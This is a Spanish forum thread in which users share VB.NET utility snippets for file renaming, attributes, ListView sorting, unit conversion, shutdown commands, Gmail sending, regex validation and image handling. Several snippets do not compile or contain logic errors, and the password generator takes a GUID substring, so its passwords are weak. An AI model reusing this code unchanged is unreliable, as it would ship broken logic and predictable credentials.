Título: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Diciembre 2012, 22:23 pm
¿Que es un Snippet (http://en.wikipedia.org/wiki/Snippet_%28programming%29)?Es una porción de código que suele contener una o varias Subrutinas (http://en.wikipedia.org/wiki/Subroutine) con el propósito de realizar una tarea específica, cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet. 6E3AEs66KaQ
- ÍNDICE DE SNIPPETS (https://foro.elhacker.net/net/indice_de_la_libreria_de_snippets_para_vbnet-t485444.0.html;msg2167235#msg2167235)
( click para ver el índice )
Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 18 Diciembre 2012, 23:04 pm
Los aportes son siempre bienvenidos, peeeero, tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P, hay código mejorable, pero es mucho para revisar :xD
Saludos
Título: Re: [APORTE] Snippets
Publicado por: $Edu$ en 19 Diciembre 2012, 00:02 am
Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre? es como que nos hayas dejado tus apuntes con funciones? o el VS tiene algo para leer esa extension .snippet y aplicarlo a tu proyecto de alguna forma? no lo tengo instalado por eso solo he mirado los codigos en notepad.
Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 19 Diciembre 2012, 00:40 am
Exacto, se instalan en el Visual, y se tienen fragmentos de código prefabricado y para autocompletado :P
OfprmT6eP6k
Saludos
Título: Re: [APORTE] Snippets
Publicado por: $Edu$ en 19 Diciembre 2012, 01:49 am
Vendrian a ser entonces como las clases que trae el VS? solo que estos snippets serian clases incorporadas por nosotros mismos.
Gracias!
Título: Re: [APORTE] Snippets
Publicado por: Eleкtro en 19 Diciembre 2012, 04:04 am
$Edu$ no se si tienes el VS pero si lo tienes donde escribes el código del form presiona " click derecho > insert snippet" y ahí ves lo que són. Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre? Ya te ha contestado Novlucker pero cabe decir que un snippet no es algo que haya inventado Microsoft, hay bastantes editores de texto que soportan el uso de snippets, y bueno... los que trabajen con HTML/CSS/PHP y todo eso seguro que están muy acostumbrados a usar snippets para sus diseños web, igual que se pueden tener snippets para Batch (xD). saludos!
tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P, hay código mejorable Hay algunos snippets que yo solo no podría haberlos creado porque no sé hacerlo, por ejemplo el " GlobalHotkeys.snippet", no véas cuanto código con las APIs, como para ponerme a intentar mejorarlos! :xD Ahora te hago yo una sugerencia: De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días :silbar:, Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD). Ahí lo dejo... :-X Saludos!
Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 19 Diciembre 2012, 13:11 pm
De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días :silbar:, Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD). Es que no tengo snippets personalizados, solo uso los que vienen incorporados en el Visual :P Justamente ayer luego de ver los tuyos me puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P Saludos
Título: Re: [APORTE] Snippets
Publicado por: Eleкtro en 21 Diciembre 2012, 12:33 pm
me puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P que pena que no tengas, yo pienso que con unos cuantos snippets y pocas modificaciones se puede llegar a crear un programa entero en un instante. Por ejemplo creamos un programa con un webbrowser y el htmlagilitypack para parsear alguna web y tomar los enlaces, o un auto-login, nos cuesta varias horas hacerlo (sin tener en cuenta el diseño). Ahora sacamos snippets de las funciones y subrutinas más improtantes que hacemos en ese proyecto, y el próximo proyecto parecido que tengamos que hacer nos costará minutos, o al menos mucho mucho menos que al principio xD. PD: Tenías razón, había mucho code mejorable, por ejemplo el de "isinternetavaliable" se hacía en unas 10 líneas y de una manera que no me gusta nada, el snippet original incluido en VS2012 lo hace en una línea xD HE ACTUALIZADO LOS SNIPPETS Algunos nuevos y algunos ligéramente mejorados basándome en los que vienen incluidos por defecto en VS2012.
Título: Re: [APORTE] Snippets (ACTUALIZADO 21/12/2012)
Publicado por: $Edu$ en 21 Diciembre 2012, 14:10 pm
Es que si miras un poco al futuro, cualquiera va a poder programar lo que quiera, cada vez esta tan facil que las generaciones futuras diran "se programar" y solo sabran la estructura para programar pero 0 conocimiento en generar codigo propio. Lo mismo piensan las generaciones antiguas de nosotros los que usamos .NET y no ASM xD
Título: Re: [APORTE] Snippets (ACTUALIZADO 21/12/2012)
Publicado por: Eleкtro en 11 Enero 2013, 06:30 am
Deberían hacer un post en esta sección que contenga sólamente snippets y donde todos aporten snippets útiles ;D
He hecho este snippet para agilizar el renombramiento de archivos, aquí tienen ;) PD: Uso "MOVE" porque de otra forma es imposible renombrar el archivo con el mismo nombre, como bien está explicado aquí por NovLucker: http://foro.elhacker.net/net/solucionado_iquestcomo_renombrar_un_archivo_o_carpeta_con_el_mismo_nombre-t378839.0.html ' Usage: ' ' RenameFile("C:\Test.txt", "TeSt.TxT") ' RenameFile("C:\Test.txt", "Test", "doc") ' RenameFile(FileInfoObject.FullName, FileInfoObject.Name.ToLower, FileInfoObject.Extension.ToUpper) ' If RenameFile("C:\Test.txt", "TeSt.TxT") Is Nothing Then MsgBox("El archivo no existe!") #Region " RenameFile function " Private Function RenameFile (ByVal File As String, ByVal NewFileName As String, Optional ByVal NewFileExtension As String = Nothing) Try Dim FileToBeRenamed As New System. IO. FileInfo(File) If NewFileExtension Is Nothing Then FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName) ' Rename file with same extension Else FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName & NewFileExtension) ' Rename file with new extension End If Return True ' File was renamed OK Catch ex As Exception ' MsgBox(ex.Message) Return False ' File can't be renamed maybe because User Permissions End Try Else Return Nothing ' File doesn't exist End If End Function #End Region
Y unos cuantos más... Modificar atributos de archivos: ' Usage: ' Attrib("File.txt", IO.FileAttributes.ReadOnly + IO.FileAttributes.Hidden) ' If Attrib("File.txt", IO.FileAttributes.System) Is Nothing Then MsgBox("File doesn't exist!") Private Function Attrib (ByVal File As String, ByVal Attributes As System. IO. FileAttributes) Try FileSystem. SetAttr(File, Attributes ) Return True ' File was modified OK Catch ex As Exception ' MsgBox(ex.Message) Return False ' File can't be modified maybe because User Permissions End Try Else Return Nothing ' File doesn't exist End If End Function
Controlar el mismo evento para varios controles: Private Sub Button_Is_Clicked(sender As Object, e As EventArgs) Handles _ Button1.Click, _ Button2.Click, _ Button3.Click Dim Clicked_Button As Button = CType(sender, Button) If Clicked_Button.Name = "Button1" Then ' Things for Button1 ElseIf Clicked_Button.Name = "Button2" Then ' Things for Button2 ElseIf Clicked_Button.Name = "Button3" Then ' Things for Button3 End If Ens Sub
Un link label: ' First add a LinkLabel control into the form. Private Sub LinkLabel_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked System.Diagnostics.Process.Start("http://www.Google.com") System.Diagnostics.Process.Start("mailto:ME@Hotmail.com") End Sub
Procesar todos los archivos de texto de My.Resources: For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)() If TypeOf (ResourceFile.Value) Is String Then MsgBox(My.Resources.ResourceManager.GetObject(ResourceFile.Key)) 'MsgBox(ResourceFile.Key) ' Resource Name 'MsgBox(ResourceFile.Value) ' Resource FileContent End If Next
Procesar todos los archivos de imagen de My.Resources: For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)() If TypeOf (ResourceFile.Value) Is Drawing.Image Then Button_2000_2006.Image = ResourceFile.Value 'MsgBox(ResourceFile.Key) ' Resource Name 'MsgBox(ResourceFile.Value) ' Resource FileContent End If Next
Ordenar un listview al clickar sobre la columna a ordenar: ' Instructions: ' 1. Add the class ' 2. Add the declaration ' 3. Add a listview Dim ColumnOrder As String = "Down" #Region " ListView Sort Column event " Private Sub ListView_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles ListView1.ColumnClick If ColumnOrder = "Down" Then Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Ascending) ListView1.Sort() ColumnOrder = "Up" ElseIf ColumnOrder = "Up" Then Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Descending) ListView1.Sort() ColumnOrder = "Down" End If End Sub #End Region #Region " OrdenarListView [CLASS] " Public Class OrdenarListview Implements IComparer Private vIndiceColumna As Integer Private vTipoOrden As SortOrder Public Sub New(ByVal pIndiceColumna As Integer, ByVal pTipoOrden As SortOrder) vIndiceColumna = pIndiceColumna vTipoOrden = pTipoOrden End Sub Public Function Ordenar(ByVal x As Object, ByVal y As Object) As Integer Implements System.Collections.IComparer.Compare Dim item_x As ListViewItem = DirectCast(x, ListViewItem) Dim item_y As ListViewItem = DirectCast(y, ListViewItem) Dim string_x As String If item_x.SubItems.Count <= vIndiceColumna Then string_x = "" Else string_x = item_x.SubItems(vIndiceColumna).Text End If Dim string_y As String If item_y.SubItems.Count <= vIndiceColumna Then string_y = "" Else string_y = item_y.SubItems(vIndiceColumna).Text End If If vTipoOrden = SortOrder.Ascending Then If IsNumeric(string_x) And IsNumeric(string_y) Then Return Val(string_x).CompareTo(Val(string_y)) ElseIf IsDate(string_x) And IsDate(string_y) Then Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y)) Else Return String.Compare(string_x, string_y) End If Else If IsNumeric(string_x) And IsNumeric(string_y) Then Return Val(string_y).CompareTo(Val(string_x)) ElseIf IsDate(string_x) And IsDate(string_y) Then Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x)) Else Return String.Compare(string_y, string_x) End If End If End Function End Class #End Region
Un ejemplo de un SaveFileDialog: Dim SaveFile As New SaveFileDialog SaveFile.Title = "Save a Report File" SaveFile.InitialDirectory = Environ("programfiles") SaveFile.RestoreDirectory = True SaveFile.DefaultExt = "txt" SaveFile.Filter = "txt file (*.txt)|*.txt" SaveFile.CheckPathExists = True 'SaveFile.CheckFileExists = True 'SaveFile.ShowDialog() If SaveFile.ShowDialog() = DialogResult.OK Then MsgBox(SaveFile.FileName) End If
Centrar un form secundario en el form principal: #Region " CenterForm function " Function CenterForm(ByVal Form_to_Center As Form, ByVal Form_Location As Point) As Point Dim FormLocation As New Point FormLocation.X = (Me.Left + (Me.Width - Form_to_Center.Width) / 2) ' set the X coordinates. FormLocation.Y = (Me.Top + (Me.Height - Form_to_Center.Height) / 2) ' set the Y coordinates. Return FormLocation ' return the Location to the Form it was called from. End Function #End Region ' Form2 Load Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load Me.Location = Form1.centerForm(Me, Me.Location) End Sub ' Private Sub Button_MouseHover(sender As Object, e As EventArgs) Handles Button1.MouseHover ' Form2.Show() ' End Sub ' Private Sub Button_MouseLeave(sender As Object, e As EventArgs) Handles Button1.MouseLeave ' Form2.Dispose() ' End Sub
Saludos!
Título: Re: [APORTE] Snippets (ACTUALIZADO 11/01/2013)
Publicado por: Eleкtro en 11 Enero 2013, 09:39 am
Para una aplicación necesité dividir el tamaño de unos MEgaBytes entre la capacidad de un DVD5, así que ya puestos he hecho este snippet que divide el tamaño entre varios formatos de discos, para la próxima ocasión. PD: Las medidas están sacadas de la Wikipedia, para los más... :-X Saludos. ' Usage: ' ' MsgBox(ConvertToDiscSize(737280000, "Bytes", "CD")) ' MsgBox(ConvertToDiscSize(700, "MB", "CD")) ' MsgBox(Math.Ceiling(ConvertToDiscSize(6.5, "GB", "DVD"))) ' MsgBox(ConvertToDiscSize(40, "GB", "BR").ToString.Substring(0, 3) & " Discs") #Region " Convert To Disc Size function" Private Function ConvertToDiscSize(ByVal FileSize As Double, ByVal FileKindSize As String, ByVal To_DiscKindCapacity As String) ' KindSize Measures: ' -------------------------- ' Bytes ' KB ' MB ' GB ' ToDiscKind Measures: ' ----------------------------- ' CD ' CD800 ' CD900 ' DVD ' DVD-DL ' BR ' BR-DL ' BR-3L ' BR-4L ' BR-MD ' BR-MD-DL ' Bytes If FileKindSize.ToUpper = "BYTES" Then If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 737280000 ' CD Standard If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 829440393.216 ' CD 800 MB If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 912383803.392 ' CD 900 MB If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4700000000 ' DVD Standard (DVD5 If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8500000000 ' DVD Double Layer (DVD9) If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 25025314816 ' BluRay Standard If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 50050629632 ' BluRay Double Layer If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 100103356416 ' BluRay x3 Layers If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 128001769472 ' BluRay x4 Layers If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7791181824 ' BluRay MiniDisc Standard If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15582363648 ' BluRay MiniDisc Double Layer ' KB ElseIf FileKindSize.ToUpper = "KB" Then If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 720000 ' CD Standard If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 810000.384 ' CD 800 MB If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 890999.808 ' CD 900 MB If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4589843.75 ' DVD Standard (DVD5) If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8300781.25 ' DVD Double Layer (DVD9) If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 24438784 ' BluRay Standard If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 48877568 ' BluRay Double Layer If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 97757184 ' BluRay x3 Layers If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 125001728 ' BluRay x4 Layers If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7608576 ' BluRay MiniDisc Standard If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15217152 ' BluRay MiniDisc Double Layer ' MB ElseIf FileKindSize.ToUpper = "MB" Then If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 703.125 ' CD Standard If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 791.016 ' CD 800 MB If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 870.117 ' CD 900 MB If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4482.26929 ' DVD Standard (DVD5) If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8106.23169 ' DVD Double Layer (DVD9) If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23866 ' BluRay Standard If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 47732 ' BluRay Double Layer If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 95466 ' BluRay x3 Layers If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 122072 ' BluRay x4 Layers If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7430.25 ' BluRay MiniDisc Standard If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14860.5 ' BluRay MiniDisc Double Layer ' GB ElseIf FileKindSize.ToUpper = "GB" Then If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 0.68665 ' CD Standard If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 0.77248 ' CD 800 MB If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 0.84972 ' CD 900 MB If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4.37722 ' DVD Standard (DVD5) If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 7.91624 ' DVD Double Layer (DVD9) If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23.30664 ' BluRay Standard If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 46.61328 ' BluRay Double Layer If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 93.22852 ' BluRay x3 Layers If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 119.21094 ' BluRay x4 Layers If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7.2561 ' BluRay MiniDisc Standard If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14.51221 ' BluRay MiniDisc Double Layer End If Return Nothing ' Argument measure not found End Function #End Region
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 18:00 pm
He actualizado el pack de Snippets en el post principal (Antes eran 76, ahora 114) Si alguien quiere que incluya un pack con sus snippets en el post principal porfavor que me pase los snippets en formato de snippet (Archivo.snippet). Y añado este snippet, un delimitador de strings, es parecido al método "Split", pero bajo mi opinión lo he mejorado bastante! · Acepta 1 o 2 delimitadores, · Opción de IgnoreCase · Delimitar de izquierda a derecha o de derecha a izquierda. Saludos! #Region " Delimit_String Function " ' // By Elektro H@ker ' ' USAGE: ' ' MsgBox(Delimit_String("Welcome to my new house", "to")) ' my new house ' MsgBox(Delimit_String("Welcome to my new house", "to", "house")) ' my new ' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", True)) ' my new ' MsgBox(Delimit_String("Welcome to my new house", "house", "to", , "Left")) ' my new ' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", False)) ' False ' MsgBox(Delimit_String("Welcome to my new house", "to", "to", , "Left")) ' Index was outside bounds of the array Private Function Delimit_String(ByVal STR As String, ByVal Delimiter_A As String, Optional ByVal Delimiter_B As String = "", Optional ByVal Ignore_Case As Boolean = False, Optional ByVal Left_Or_Right As String = "Right") Dim Compare_Method As Integer = 0 ' Don't ignore case If Ignore_Case = True Then Compare_Method = 1 ' Ignore Case If Not Left_Or_Right.ToUpper = "LEFT" And Not Left_Or_Right.ToUpper = "RIGHT" _ Then Return False ' Returns false if the Left_Or_Right argument is in incorrect format If Compare_Method = 0 Then If Not STR.Contains(Delimiter_A) Or Not STR.Contains(Delimiter_B) _ Then Return False ' Returns false if one of the delimiters in NormalCase can 't be found Else If Not STR.ToUpper.Contains(Delimiter_A.ToUpper) Or Not STR.ToUpper.Contains(Delimiter_B.ToUpper) _ Then Return False ' Returns false if one of the delimiters in IgnoreCase can 't be found End If Try If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(0) _ Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(1) If Delimiter_B IsNot Nothing Then If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(1) _ Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(0) End If Return STR ' Returns the splitted string Catch ex As Exception Return ex.Message ' Returns exception if index is out of range End Try End Function #End Region
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 20:36 pm
Otro convertidor, en esta ocasión un convertidor de tiempo, ms, segundos, minutos, horas. #Region " Convert Time Function" ' // By Elektro H@cker ' ' MsgBox(Convert_Time(1, "h", "m")) ' MsgBox(Convert_Time(1, "h", "s")) ' MsgBox(Convert_Time(1, "h", "ms")) ' MsgBox(Convert_Time(6000, "milliseconds", "seconds")) ' MsgBox(Convert_Time(6000, "seconds", "minutes")) ' MsgBox(Convert_Time(6000, "minutes", "hours")) Private Function Convert_Time(ByVal Time As Int64, ByVal Input_Time_Format As String, ByVal Output_Time_Format As String) Dim Time_Span As New TimeSpan If Input_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMillisecond * Time) If Input_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerSecond * Time) If Input_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMinute * Time) If Input_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerHour * Time) If Output_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Return Time_Span.TotalMilliseconds If Output_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Return Time_Span.TotalSeconds If Output_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Return Time_Span.TotalMinutes If Output_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Return Time_Span.TotalHours Return False ' Returns false if argument is in incorrect format End Function #End Region
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 23:30 pm
Set_PC_State ' // By Elektro H@cker ' USAGE: ' ' Set_PC_State(RESET) ' Set_PC_State(SUSPEND, 30, "I'm suspending your system.") ' Set_PC_State(LOG_OFF) ' Set_PC_State(HIBERN) ' Set_PC_State(ABORT) #Region " Set PC State " Const RESET As String = " -R " Const SUSPEND As String = " -S " Const LOG_OFF As String = " -L " Const HIBERN As String = " -H " Const ABORT As String = " -A " Private Function Set_PC_State(ByVal PowerState_Action As String, Optional ByVal TimeOut As Integer = 1, Optional ByVal COMMENT As String = "") Dim Shutdown_Command As New ProcessStartInfo Shutdown_Command.FileName = "Shutdown.exe" Try If PowerState_Action = ABORT Or PowerState_Action = HIBERN Or PowerState_Action = LOG_OFF Then Shutdown_Command.Arguments = PowerState_Action ' Windows don't allow TimeOut or Comment options for HIBERN, LOG_OFF or ABORT actions. ElseIf PowerState_Action = RESET Or PowerState_Action = SUSPEND Then If Not COMMENT = "" Then If COMMENT.Length > 512 Then COMMENT = COMMENT.Substring(0, 512) ' Only 512 chars are allowed for comment Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut & " /C " & COMMENT Else Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut End If Shutdown_Command.WindowStyle = ProcessWindowStyle.Hidden Process.Start(Shutdown_Command) Return True End If Catch ex As Exception Return ex.Message End Try Return Nothing ' Invalid argument End Function #End Region
Día local:Dim Today as string = My.Computer.Clock.LocalTime.DayOfWeek ' In English language Dim Today as string = System.Globalization.DateTimeFormatInfo.CurrentInfo.GetDayName(Date.Today.DayOfWeek) ' In system language
String is URL? ' USAGE: ' ' If String_Is_URL("http://google.com") Then MsgBox("Valid url!") Else MsgBox("Invalid url!") #Region " String Is URL Function " Private Function String_Is_URL(ByVal STR As String) Dim URL_Pattern As String = "^(http|https):/{2}[a-zA-Z./&\d_-]+" Dim URL_RegEx As New System.Text.RegularExpressions.Regex(URL_Pattern, System.Text.RegularExpressions.RegexOptions.IgnoreCase Or System.Text.RegularExpressions.RegexOptions.ExplicitCapture) If URL_RegEx.IsMatch(STR) Then Return True Else Return False End Function #End Region
G-Mail Sender (Envía emails) ' USAGE: ' ' GMail_Sender("Your_Email@Gmail.com", "Your_Password", "Email Subject", "Message Body", "Destiny@Email.com") #Region " GMail Sender function " Private Function GMail_Sender(ByVal Gmail_Username As String, ByVal Gmail_Password As String, ByVal Email_Subject As String, ByVal Email_Body As String, ByVal Email_Destiny As String) Try Dim MailSetup As New System.Net.Mail.MailMessage MailSetup.Subject = Email_Subject MailSetup.To.Add(Email_Destiny) MailSetup.From = New System.Net.Mail.MailAddress(Gmail_Username) MailSetup.Body = Email_Body Dim SMTP As New System.Net.Mail.SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New Net.NetworkCredential(Gmail_Username, Gmail_Password) SMTP.Send(MailSetup) Return True ' Email is sended OK Catch ex As Exception Return ex.Message ' Email can't be sended End Try End Function #End Region
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 13 Enero 2013, 07:34 am
Get OS Version Dim OS_Version As String = System.Environment.OSVersion.ToString MsgBox(OS_Version)
String Is Email ' // By Elektro H@cker ' ' USAGE: ' ' MsgBox(String_Is_Email("User@Email.com")) #Region " String Is Email Function " Private Function String_Is_Email(ByVal Email_String As String) Dim Emaill_RegEx As New System.Text.RegularExpressions.Regex("^[A-Za-z0-9][A-Za-z0-9]+\@[A-Za-z0-9]+\.[A-Za-z0-9][A-Za-z0-9]+$") If Emaill_RegEx.IsMatch(Email_String) Then Return True Else Return False End Function #End Region
Get Random Password ' USAGE: ' ' MsgBox(Get_Random_Password(8)) ' MsgBox(Get_Random_Password(36)) #Region " Get Random Password Function " Public Function Get_Random_Password(ByVal Password_Length As Double) As String Dim New_Password As String = System.Guid.NewGuid.ToString If Password_Length <= 0 OrElse Password_Length > New_Password.Length Then Throw New ArgumentException("Length must be between 1 and " & New_Password.Length) End If Return New_Password.Substring(0, Password_Length) End Function #End Region
Get Printers ' // By Elektro H@cker ' ' USAGE: ' ' For Each Printer_Name In Get_Printers() : MsgBox(Printer_Name) : Next Private Function Get_Printers() Dim Printer_Array As New List(Of String) Try For Each Printer_Name As String In System.Drawing.Printing.PrinterSettings.InstalledPrinters : Printer_Array.Add(Printer_Name) : Next Catch ex As Exception If ex.Message.Contains("RPC") Then Return "RPC Service is not avaliable" End Try Return Printer_Array End Function
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: ABDERRAMAH en 13 Enero 2013, 15:45 pm
Pues yo tengo una colección de funciones para crear, cargar y superponer imágenes así como para escribir texto usando gdi+: cargar una imágen en una resolución determinada: Public Function read_image_at_res (ByRef file As String, ByRef force_sizex As Integer, ByRef force_sizey As Integer) As System. Drawing. Bitmap Dim img As New Bitmap (file) Dim b As New Bitmap(force_sizex, force_sizey) Dim bg As Graphics = Graphics.FromImage(b) Try bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(force_sizex, force_sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel) Catch ex As Exception End Try bg.Dispose() Return b End Function
redimensionar una imágen: Public Function resize_bmp(ByRef img As Bitmap, ByRef sizex As Integer, ByRef sizey As Integer) As Bitmap Dim b As New Bitmap(sizex, sizey) Dim bg As Graphics = Graphics.FromImage(b) bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(sizex, sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel) bg.Dispose() Return b End Function
superponer dos imágenes sobre un lienzo: Public Function layer_sum(ByRef layer1 As Bitmap, ByRef layer2 As Bitmap) As Bitmap Dim bg As Graphics = Graphics.FromImage(layer1) bg.DrawImage(layer2, New Point(0, 0)) bg.Dispose() Return layer1 End Function
escribir texto plano(con sombreado rudimentario) en un fondo transparente: Public Function get_text_layer(ByRef size As System.Drawing.Size, ByRef text As String) As System.Drawing.Bitmap Dim img As New Bitmap(size.Width, size.Height) Dim bg As Graphics = Graphics.FromImage(img) bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.Gray, New Point(1, -1)) bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.White, New Point(0, 0)) bg.Dispose() Return img End Function
dividir la imagen en sectores y devolver el indicado por "index": Public Function get_portion(ByRef image As System.Drawing.Bitmap, ByRef cuadriculax As Short, ByRef cuadriculay As Short, ByRef index As Integer) As System.Drawing.Bitmap Dim img As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay)) 'Dim b As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay)) Dim bg As Graphics = Graphics.FromImage(img) Dim xcount = 0 Dim ycount = 0 Do While index >= cuadriculax index = index - cuadriculax ycount = ycount + 1 Loop xcount = index Dim tmpx As Integer = CInt((image.Size.Width / cuadriculax) * xcount) Dim tmpy As Integer = CInt((image.Size.Height / cuadriculay) * ycount) Dim port As New Rectangle(New System.Drawing.Point(0, 0), New Size(New Point(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay)))) bg.DrawImage(image, port, tmpx, tmpy, CInt(port.Size.Width), CInt(port.Size.Height), GraphicsUnit.Pixel) bg.Dispose() Return img End Function
Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 13 Enero 2013, 18:32 pm
@ABDERRAMAH
Muy buenos, el primero y el segundo me gustaron mucho, siempre tengo problemas para redimensionar imagenes y me viene bien.
El último también, es una idea muy dinámica lo de dividir la imagen en una cuadrícula y tomar un sector, no sé si eres el autor de las funciones pero a pocos se le habría ocurrido hacer algo así xD
Saludos!
Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 13 Enero 2013, 21:38 pm
